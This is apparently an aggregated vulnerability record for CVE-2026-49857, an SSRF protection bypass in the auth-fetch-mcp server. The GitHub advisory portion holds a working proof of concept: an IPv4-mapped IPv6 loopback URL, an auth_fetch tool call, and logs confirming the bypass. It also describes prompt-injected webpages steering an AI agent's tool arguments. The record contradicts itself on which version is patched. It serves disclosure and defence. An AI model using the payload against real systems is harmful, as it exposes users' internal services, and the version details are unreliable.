{"id":"CVE-2026-49857","revision":null,"records":[{"revision":"38687fbcd8f14b2cb70408606e8cba55","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-49857","aliases":[],"title":"auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback","description":"auth-fetch-mcp is an MCP server that lets AI assistants fetch content from authenticated web pages. Version 3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable. Version 3.0.1 patches the issue.","state":0,"publishedAt":"2026-08-13T14:50:25.324+00:00","modifiedAt":"2026-08-13T17:52:55.357+00:00","affected":[{"ecosystem":"Vendor product","name":"auth-fetch-mcp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"ymw0407\",\n                    \"product\": \"auth-fetch-mcp\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.0.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8","https://github.com/ymw0407/auth-fetch-mcp/commit/c5c523cd55b24ae1680c5bacef95d59a81ae3450","https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-49857","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-49857","identifiers":["CVE-2026-49857"]},"retained":false,"historicalAffected":[]},{"revision":"ace0cc5e223f41d5925fd7fef81f160c","observedAt":"2026-11-07T11:32:12.87+00:00","statement":{"source":"euvd","id":"EUVD-2026-58054","aliases":["CVE-2026-49857","GHSA-pvrj-8cg3-j5f8"],"title":"auth-fetch-mcp is an MCP server that lets AI assistants fetch content from authenticated web pages. Version 3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. Howev…","description":"auth-fetch-mcp is an MCP server that lets AI assistants fetch content from authenticated web pages. Version 3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable. Version 3.0.1 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"severity":null}],"references":["https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8","https://github.com/ymw0407/auth-fetch-mcp/commit/c5c523cd55b24ae1680c5bacef95d59a81ae3450","https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-58054","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 13, 2026, 2:50:25 PM","dateUpdated":"Aug 13, 2026, 5:52:55 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-58054","identifiers":["EUVD-2026-58054","CVE-2026-49857","GHSA-pvrj-8cg3-j5f8"]},"retained":false,"historicalAffected":[]},{"revision":"c27a313cf4e0420bb293d85713fa149c","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-49857","aliases":[],"title":"auth-fetch-mcp is an MCP server that lets AI assistants fetch content from authenticated web pages. Version 3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. Howev…","description":"auth-fetch-mcp is an MCP server that lets AI assistants fetch content from authenticated web pages. Version 3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable. Version 3.0.1 patches the issue.","state":0,"publishedAt":"2026-08-13T15:19:41.743+00:00","modifiedAt":"2026-10-24T16:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/ymw0407/auth-fetch-mcp/commit/c5c523cd55b24ae1680c5bacef95d59a81ae3450","https://github.com/ymw0407/auth-fetch-mcp/releases/tag/v3.0.1","https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49857","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-08-13T15:19:41.743","lastModified":"2026-10-24T16:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-49857","identifiers":["CVE-2026-49857"]},"retained":false,"historicalAffected":[]},{"revision":"b3b4f6eda76648e4882fa7d2f0809170","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-pvrj-8cg3-j5f8","aliases":["CVE-2026-49857"],"title":"auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback","description":"## SSRF Protection Bypass via IPv4-mapped IPv6 Loopback\n\n### Summary\n\n`auth-fetch-mcp` v3.0.1 implements SSRF protection in `assertSafeUrl()` (`src/security.ts`) to block requests to private and loopback addresses. However, the `isPrivateV6()` function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as `http://[::ffff:127.0.0.1]:PORT/`, the Node.js WHATWG URL parser silently normalizes the host to `[::ffff:7f00:1]`. Because `net.isIPv4('7f00:1')` returns `false`, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of **7.4 (High)**.\n\n### Details\n\nThe vulnerable function is `isPrivateV6()` in `src/security.ts`, called from `assertSafeUrl()` which gates every outbound request made by the `auth_fetch` and `download_media` MCP tools.\n\n**Root cause — `src/security.ts:46-50`:**\n\n```ts\nif (lower.startsWith(\"::ffff:\")) {\n  const v4 = lower.slice(7);          // \"7f00:1\" after Node normalization\n  if (net.isIPv4(v4)) return isPrivateV4(v4);  // false → falls through\n}\nreturn false;   // loopback escapes the guard\n```\n\nThe Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:\n\n| Input hostname | After `new URL(...).hostname` |\n|---|---|\n| `::ffff:127.0.0.1` | `::ffff:7f00:1` |\n| `::ffff:192.168.1.1` | `::ffff:c0a8:101` |\n\nAfter normalization, the suffix after `::ffff:` is no longer a dotted-decimal IPv4 string, so `net.isIPv4()` returns `false`. The guard falls through and `isPrivateV6()` returns `false`, causing `assertSafeUrl()` to treat a loopback address as safe.\n\n**Data flow — primary sink (`auth_fetch`):**\n\n1. `src/tools.ts:119` — `auth_fetch` accepts user-controlled `url: z.string()` (source).\n2. `src/tools.ts:128-131` — handler calls `navigateTo(ctx, url)`, passing the raw URL.\n3. `src/browser.ts:58` — `navigateTo()` calls `assertSafeUrl(url)`.\n4. `src/security.ts:74-108` — `assertSafeUrl()` delegates IPv6 host validation to `isPrivateV6()`; hex-normalized loopback bypasses the check.\n5. `src/browser.ts:66` — `page.goto(safeUrl.toString())` issues a browser request to the internal address.\n6. `src/extractor.ts:33-54` / `src/tools.ts:171-176` — page content is extracted and returned to the MCP caller.\n\n**Data flow — secondary sink (`download_media`):**\n\n1. `src/tools.ts:198-210` — `download_media` accepts user-controlled `urls[]`.\n2. `src/tools.ts:233-234` — each URL passes through `assertSafeUrl()` then `ctx.request.get(safeUrl.toString())`.\n3. `src/tools.ts:253-254` — the response body is written to the local downloads directory and the path is returned.\n\n**Dynamic confirmation (Phase 2):**\n\nThe PoC ran inside a Docker container (`--network=host`). Direct loopback URLs are correctly blocked:\n\n```\n[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)\n[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)\n```\n\nThe IPv4-mapped IPv6 form bypasses the check and reaches the internal service:\n\n```\n[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw\n[VULN] Input URL:       http://[::ffff:127.0.0.1]:31337/\n[VULN] Normalized URL:  http://[::ffff:7f00:1]:31337/\n[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false\n[SSRF] HTTP response received from internal service\n[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER\n[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE\n```\n\n### PoC\n\n**Prerequisites:**\n\n```bash\ngit clone https://github.com/ymw0407/auth-fetch-mcp.git\ncd auth-fetch-mcp\nnpm ci\nnpm run build\nnpx playwright install --with-deps chromium\n```\n\n**Terminal 1 — start a loopback-only internal service:**\n\n```bash\nnode -e 'require(\"http\").createServer((q,r)=>r.end(\"<h1>INTERNAL_SECRET_MARKER</h1>\")).listen(31337,\"127.0.0.1\")'\n```\n\n**Terminal 2 — start the MCP server (default config, no special env vars):**\n\n```bash\nnpx auth-fetch-mcp@3.0.1\n```\n\n**MCP tool invocation:**\n\n```json\n{\n  \"tool\": \"auth_fetch\",\n  \"arguments\": {\n    \"url\": \"http://[::ffff:127.0.0.1]:31337/\"\n  }\n}\n```\n\n**Expected vs. actual behavior:**\n\n| URL | Expected | Actual |\n|---|---|---|\n| `http://127.0.0.1:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::1]:31337/` | BLOCK | BLOCK (correct) |\n| `http://[::ffff:127.0.0.1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n| `http://[::ffff:7f00:1]:31337/` | BLOCK | **ALLOW** (vulnerable) |\n\nAfter the user clicks the \"Capture\" button, the MCP response contains `INTERNAL_SECRET_MARKER`, confirming that the internal HTTP service was reached through the SSRF protection bypass.\n\n### Remediation\n\nDecode the hex-encoded IPv4-mapped suffix before passing it to `isPrivateV4()`:\n\n```diff\n if (lower.startsWith(\"::ffff:\")) {\n   const v4 = lower.slice(7);\n   if (net.isIPv4(v4)) return isPrivateV4(v4);\n+  const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);\n+  if (m) {\n+    const hi = parseInt(m[1], 16);\n+    const lo = parseInt(m[2], 16);\n+    const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;\n+    return isPrivateV4(mapped);\n+  }\n }\n```\n\nAdditionally, a `BrowserContext` route guard should be added in `src/browser.ts` to re-validate every navigation URL (including redirect targets) through `assertSafeUrl()`.\n\nNo patched version available.\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. An attacker who can supply or influence the `url` argument of the `auth_fetch` tool (or the `urls[]` array of `download_media`) can direct the MCP server to make HTTP requests to services bound to `127.0.0.1` or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.\n\n**Who is impacted:**\n\n- **End users** running `auth-fetch-mcp` locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.\n- **Server-side deployments**: any deployment exposing `auth-fetch-mcp` as a shared MCP server faces the same risk against internal network services reachable from the host.\n- The `auth_fetch` UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.\n\nConfidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.","state":0,"publishedAt":"2026-07-01T18:16:22+00:00","modifiedAt":"2026-07-01T18:41:31.52977+00:00","affected":[{"ecosystem":"npm","name":"auth-fetch-mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/ymw0407/auth-fetch-mcp/security/advisories/GHSA-pvrj-8cg3-j5f8","https://github.com/ymw0407/auth-fetch-mcp"],"sourceUrl":"https://github.com/advisories/GHSA-pvrj-8cg3-j5f8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-pvrj-8cg3-j5f8","identifiers":["GHSA-pvrj-8cg3-j5f8","CVE-2026-49857"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}